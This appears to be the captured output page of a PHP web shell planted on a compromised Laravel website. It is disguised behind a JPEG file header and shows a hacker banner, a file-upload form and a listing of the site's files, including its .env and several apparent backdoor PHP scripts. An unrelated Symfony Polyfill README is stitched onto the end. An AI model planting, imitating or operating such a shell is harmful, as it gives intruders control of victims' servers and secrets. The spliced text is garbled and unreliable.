ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 23 2025 17:01:460644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
Symfony Polyfill / Intl: Grapheme ================================= This component provides a partial, native PHP implementation of the [Grapheme functions](https://php.net/intl.grapheme) from the [Intl](https://php.net/intl) extension. - [`grapheme_extract`](https://php.net/grapheme_extract): Extract a sequence of grapheme clusters from a text buffer, which must be encoded in UTF-8 - [`grapheme_stripos`](https://php.net/grapheme_stripos): Find position (in grapheme units) of first occurrence of a case-insensitive string - [`grapheme_stristr`](https://php.net/grapheme_stristr): Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack - [`grapheme_strlen`](https://php.net/grapheme_strlen): Get string length in grapheme units - [`grapheme_strpos`](https://php.net/grapheme_strpos): Find position (in grapheme units) of first occurrence of a string - [`grapheme_strripos`](https://php.net/grapheme_strripos): Find position (in grapheme units) of last occurrence of a case-insensitive string - [`grapheme_strrpos`](https://php.net/grapheme_strrpos): Find position (in grapheme units) of last occurrence of a string - [`grapheme_strstr`](https://php.net/grapheme_strstr): Returns part of haystack string from the first occurrence of needle to the end of haystack - [`grapheme_substr`](https://php.net/grapheme_substr): Return part of a string More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE).